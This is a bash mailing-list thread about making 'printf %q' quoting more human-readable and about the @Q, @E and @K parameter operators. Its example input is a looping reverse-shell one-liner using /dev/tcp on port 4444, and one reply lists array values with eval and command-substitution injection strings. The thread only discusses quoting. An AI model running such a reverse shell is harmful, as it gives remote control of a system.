Re: `printf %q` but more human readable

[Alex fxmbsw7 Ratchev]

echo ${files[@]@K}
0 $'\n' 1 $'\034' 2 " a b" 3 "\" [" 4 $'\' [1]=\034' 5 "' [b" 6 "2" 7
"\\\\" 8 "]" 9 "] \$( eval echo shitt )" 10 "];eval echo shitt" 11 "abc" 12
$'abc \034[22]="bar"' 13 "abc [22]=\"bar\"" 14 "blah" 15 $'foo\034
[2]="blah" '

On Sun, Mar 14, 2021 at 2:51 PM Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com>
wrote:

> actulaly not only \ but \ escape sequences , ..
>
> On Sun, Mar 14, 2021 at 2:49 PM Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com>
> wrote:
>
>> dont know where you read that
>>
>>               Q      The  expansion is a string that is the value of
>> parameter quoted in a format that can
>>                      be reused as input.
>>
>>               E      The expansion is a string that is the value of
>> parameter with  backslash  escape  se-
>>                      quences expanded as with the $'...' quoting
>> mechanism.
>>
>>               K      Produces  a  possibly-quoted version of the value of
>> parameter, except that it prints
>>                      the values of indexed and associative arrays as a
>> sequence of quoted key-value  pairs
>>                      (see Arrays above)
>>
>> E states \ get escaped using $'\\'
>>
>>
>> On Sun, Mar 14, 2021 at 1:40 PM Eli Schwartz <eschwartz@archlinux.org>
>> wrote:
>>
>>> On 3/14/21 12:52 AM, Peng Yu wrote:
>>> > Hi,
>>> >
>>> > I want to have something similar to `printf %q` but the result should
>>> > be more human-readable. I come up with the following code. Here is one
>>> > example to show that the result of printfbq is more human-readable
>>> > than `printf %q`. The idea is to reduce the use of backslashes
>>> > whenever possible. But human-readablilty may be a subjective matter.
>>> > So different people might have slightly different definitions.
>>> >
>>> > $ printfbq "$x"
>>> > "while true; do echo 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' | bash;
>>> > sleep 5; done &"
>>> > $ printf '%q\n' "$x"
>>> > while\ true\;\ do\ echo\ \'bash\ -i\ \>\&\ /dev/tcp/127.0.0.1/4444\
>>> <http://127.0.0.1/4444%5C>
>>> > 0\>\&1\'\ \|\ bash\;\ sleep\ 5\;\ done\ \&
>>> >
>>> > The code is listed below.
>>> >
>>> > I think that there may be corner cases in which my code may not do
>>> > well. But I am not sure what those corner cases are.
>>> >
>>> > Does anybody have a better way to make something equivalent to `printf
>>> > %q` but more human-readable against all possible cases?
>>>
>>> It's just different quoting styles, but I prefer the single-quoted
>>> version too.
>>>
>>> GNU /usr/bin/printf does this
>>>
>>> $ /bin/printf "$x"
>>> while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
>>> sleep 5; done &
>>>
>>> And for ${parameter@operator}
>>>
>>> $ echo "${x@Q}"
>>> $'while true; do echo \'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1\' |
>>> bash;\nsleep 5; done &'
>>> $ echo "${x@E}"
>>> while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
>>> sleep 5; done &
>>>
>>>
>>> (This confuses me since the manual stated that E produces $'' style
>>> escaping and Q produces single quoted escaping when used for an array...)
>>>
>>>
>>> --
>>> Eli Schwartz
>>> Arch Linux Bug Wrangler and Trusted User
>>>
>>>